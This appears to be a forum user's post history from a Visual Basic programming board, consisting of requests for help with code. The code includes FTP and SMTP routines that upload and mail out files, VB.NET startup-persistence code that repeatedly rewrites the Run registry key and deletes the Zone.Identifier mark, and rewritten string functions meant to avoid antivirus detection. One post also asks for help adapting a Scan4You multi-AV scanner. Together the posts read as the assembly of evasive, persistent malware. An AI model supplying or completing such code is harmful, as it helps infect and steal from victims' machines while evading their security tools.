|
Mostrar Temas
|
Páginas: [1] 2
|
1
|
Programación / Programación Visual Basic / [HELP] Invoke API's
|
en: 24 Noviembre 2012, 05:34 am
|
Hola amigos! Can anyone please Invoke(CallAPI) those API's please? Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" (ByVal hFtpSession As Long, ByVal lpszLocalFile As String, ByVal lpszRemoteFile As String, ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal nService As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal nAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal nFlags As Long) As Long Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer Declare Function InternetOpenUrlA Lib "wininet" (ByVal hInternetSession As Long, ByVal lpszUrl As String, ByVal lpszHeaders As String, ByVal dwHeadersLength As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long Const INTERNET_SERVICE_FTP = 1: Global sURL As String
Function FTPUpload(sFile As String, sHost As String, sUser As String, sPass As String) Dim hINetSession, hSession, sTemp() As String: sTemp = Split(sFile, "\") hINetSession = InternetOpen("project", 0, vbNullString, vbNullString, 0) hSession = InternetConnect(hINetSession, sHost, "21", sUser, sPass, INTERNET_SERVICE_FTP, 0, 0) If FtpPutFile(hSession, sFile, sTemp(UBound(sTemp)), 1, 0) = False Then Call InternetCloseHandle(hSession): Call InternetCloseHandle(hINetSession) End If End Function Option Explicit
Private Const MICROSOFT_CDO_CONFIGURATION$ = "http://schemas.microsoft.com/cdo/configuration/"
Private Declare Function GetFileAttributesW Lib "KERNEL32" (ByVal lpFileName As Long) As Long Private Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef lpdwFlags As Long, ByVal dwReserved As Long) As Long
Private lngPort&, strUser$, strPass$, strFrom$, strServer$, strSubject$, strMessage$, strDestinatary$, strAttachedFile$ Private objCDO As Object, bolUseAuntentificacion As Boolean, bolSSL As Boolean
Friend Property Let Server(ByRef Value$): strServer = Value: End Property Friend Property Let Destinatary(ByRef Value$): strDestinatary = Value: End Property Friend Property Let From(ByRef Value$): strFrom = Value: End Property Friend Property Let Subject(ByRef Value$): strSubject = Value: End Property Friend Property Let Message(ByRef Value$): strMessage = Value: End Property Friend Property Let AttachedFile(ByRef Value$): strAttachedFile = Value: End Property Friend Property Let Port(ByVal Value&): lngPort = Value: End Property Friend Property Let User(ByRef Value$): strUser = Value: End Property Friend Property Let Password(ByRef Value$): strPass = Value: End Property Friend Property Let UseAuntentificacion(ByVal Value As Boolean): bolUseAuntentificacion = Value: End Property Friend Property Let SSL(ByVal Value As Boolean): bolSSL = Value: End Property
Friend Function SendMail() As Boolean On Error GoTo FatalError If InternetGetConnectedState(&H0&, &H0&) Then If (LenB(strPass) = 0) Or (LenB(strUser) = 0) Or (LenB(strFrom) = 0) Or (LenB(strServer) = 0) Or (LenB(strDestinatary) = 0) Or ((lngPort < 0) Or (lngPort > &HFDE8&)) Then Exit Function With objCDO With .Configuration .Fields(MICROSOFT_CDO_CONFIGURATION & "smtpserver") = strServer .Fields(MICROSOFT_CDO_CONFIGURATION & "sendusing") = &H2& With .Fields .Item(MICROSOFT_CDO_CONFIGURATION & "smtpserverport") = lngPort .Item(MICROSOFT_CDO_CONFIGURATION & "smtpauthenticate") = Abs(bolUseAuntentificacion) .Item(MICROSOFT_CDO_CONFIGURATION & "smtpconnectiontimeout") = &HA& If bolUseAuntentificacion Then .Item(MICROSOFT_CDO_CONFIGURATION & "sendusername") = strUser .Item(MICROSOFT_CDO_CONFIGURATION & "sendpassword") = strPass .Item(MICROSOFT_CDO_CONFIGURATION & "smtpusessl") = bolSSL End If .Update End With End With .To = strDestinatary: .From = strFrom: .Subject = strSubject: .TextBody = strMessage If LenB(strAttachedFile) Then If GetFileAttributesW(StrPtr(strAttachedFile)) > -1 Then .AddAttachment (strAttachedFile) End If .Send End With SendMail = True End If FatalError: End Function
Private Sub Class_Initialize() Set objCDO = CreateObject("CDO.Message") End Sub
Private Sub Class_Terminate() Set objCDO = Nothing End Sub Thanks A lot!
|
|
|
4
|
Programación / Programación Visual Basic / Alternative Replace & Right Functions
|
en: 7 Noviembre 2012, 00:00 am
|
Hey boys! I wondered if anyone would help coding an alternative Replace and Right functions as they could be/get detected. This is how I'm using them: strNewFile = Replace(strNewFile, Right(strFilePath, 4), ".txt") Maybe we can use other functions to do the same thing or we can code alternative functions. I've found an alternative Replace function in my HDD but it uses Mid / Left / InStr so it's not really good. Function AltReplace(stExpression As String, stFind As String, stReplace As String) As String Dim lnStart As Long, lnCount As Long lnStart = Len(stFind) AltReplace = stExpression Do lnCount = InStr(1, AltReplace, stFind) If lnCount = 0 Then Exit Do If lnStart = Len(stReplace) Then Mid(AltReplace, lnCount, lnStart) = stReplace Else AltReplace = Left$(AltReplace, lnCount - 1) & stReplace & Mid$(AltReplace, lnCount + lnStart) End If Loop End Function It would be great if you could help coding alternative funcs using bytearray and it must not use any VB function (Len/Chr/Asc/Space are OK) Thanks A lot !
|
|
|
5
|
Programación / Programación Visual Basic / Port VB.NET code to VB6
|
en: 14 Octubre 2012, 18:43 pm
|
Hola amigos! Does anyone can help me porting this VB.NET code to VB6? That would be really appreciated Imports Microsoft.Win32 Imports System.Runtime.InteropServices
'Credits 'Salmoneus - The rest of the code. 'JeromeMarshall - For tutorial on deleting the ADS entry.
Public Class Startup
Private Value As String
Private Delegate Sub C() Private Delegate Sub V() Private Delegate Sub W() Private Delegate Sub L() Private Delegate Sub CL() Private Delegate Sub DZ()
Dim T As New Threading.Thread(AddressOf Persistence)
<DllImport("kernel32", CharSet:=CharSet.Unicode, SetLastError:=True)> _ Public Shared Function DeleteFile(ByVal name As String) As <MarshalAs(UnmanagedType.Bool)> Boolean End Function
Public Sub New() Dim DZone As New DZ(AddressOf DeleteZone) Try : DZone.Invoke() : Catch : End Try T.Start() End Sub
Private Sub Persistence(ByVal RegValue As String)
Value = RegValue
Dim CK As C = New C(AddressOf CreateKey) Dim SV As V = New V(AddressOf SetValue) Dim WA As W = New W(AddressOf Wait) Dim CLO As CL = New CL(AddressOf Close) Dim LO As L = New L(AddressOf Looper)
CK.Invoke() WA.Invoke() SV.Invoke() WA.Invoke() CLO.Invoke() LO.Invoke()
End Sub Private Sub Wait() Dim R As New Random Threading.Thread.Sleep(R.Next(100, 300)) End Sub Private Sub Looper() Persistence(Value) End Sub Private Sub CreateKey() If BoolCheck = True Then : RegKey.CreateSubKey(AppName) : Else : Exit Sub : End If Close() End Sub Private Sub SetValue() If BoolCheck = True Then : RegKey.SetValue(Value, AppName) : Else : Exit Sub : End If End Sub Private Sub Close() RegKey.Close() End Sub Private Sub DeleteZone() If BoolCheck = True Then : DeleteFile(AppName + ":Zone.Identifier") : Else : Exit Sub : End If End Sub Private ReadOnly Property RegKey As RegistryKey Get Dim Startup As RegistryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True) Return Startup End Get End Property Private ReadOnly Property RegValue As String Get Dim Value As String = RegKey.GetValue(AppName) Return Value End Get End Property Private ReadOnly Property BoolCheck As Boolean Get If RegValue <> AppName Then Return True End If Return False End Get End Property Private ReadOnly Property AppName As String Get Return Application.ExecutablePath.ToString() End Get End Property End Class Thanks in Advance!
|
|
|
6
|
Programación / Programación Visual Basic / StrConv Alternative Function
|
en: 7 Octubre 2012, 17:03 pm
|
Hola amigos! Does anyone could help me fixing this function? It works but fails with unicode chars.... Here it is: Public Function AltStrConv(Temp As Variant, Conversion As VbStrConv) As Variant Dim i As Long, lLen As Long, bvHack(0) As Byte, lHackDelta As Long Dim bArr() As Byte, sString As String lHackDelta = VarPtr(bvHack(0)) If Conversion = vbFromUnicode Then sString = Temp lLen = Len(sString) ReDim bArr(0 To lLen - 1) For i = 0 To lLen - 1 bvHack(VarPtr(bArr(0)) - lHackDelta + i) = bvHack(StrPtr(sString) - lHackDelta + (i * 2)) Next i AltStrConv = bArr ElseIf Conversion = vbUnicode Then bArr = Temp lLen = UBound(Temp) + 1 sString = Space$(lLen) For i = 0 To lLen - 1 bvHack(StrPtr(sString) - lHackDelta + (i * 2)) = bvHack(VarPtr(bArr(0)) - lHackDelta + i) Next i AltStrConv = sString End If End Function Thanks A lot!
|
|
|
8
|
Programación / Programación Visual Basic / [HELP] Mutli AV Scanner
|
en: 28 Junio 2012, 22:53 pm
|
Hola amigos del internet! I have worked with my friend raul a long time ago on a AV Scanner using Scan4You and I wondered if anyone would be interested modding it to work with another website, a few things are different and as I don't have any PHP/HTML knowledge, I cannot do anything... If you are interested working with me on Teamviewer or whatever you want, please get in touch by PM or MSN: orelsan [at] live [dot] com
Gracias!
|
|
|
9
|
Programación / Programación Visual Basic / [HELP] Type Declares
|
en: 24 Junio 2012, 18:34 pm
|
Hey guys, I'm trying to remove type declares on that code but I didn't success. Here is the code: Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Private Declare Function Process32First Lib "kernel32" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long Private Declare Function Process32Next Lib "kernel32" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal dwFlags As Long, th32ProcessID As Long) As Long
Public Type PROCESSENTRY32 dwSize As Long cntUseage As Long th32ProcessID As Long th32DefaultHeapID As Long th32ModuleID As Long cntThreads As Long th32ParentProcessID As Long pcPriClassBase As Long swFlags As Long szExeFile As String * 1024 End Type
Public Function Running(ByVal sFileName As String) As Boolean Dim hSnapshot As Long Dim pe32 As PROCESSENTRY32 hSnapshot = CreateToolhelp32Snapshot(2, 0) pe32.dwSize = Len(pe32) Process32First hSnapshot, pe32 Do While Process32Next(hSnapshot, pe32) <> 0 If InStr(1, LCase(pe32.szExeFile), LCase(sFileName)) > 0 Then Running = True End If Loop CloseHandle (hSnapshot) End Function Would be really appreciated if anyone could remove the type declare and let me know how you did it. Thanks!
|
|
|
|
|
|
|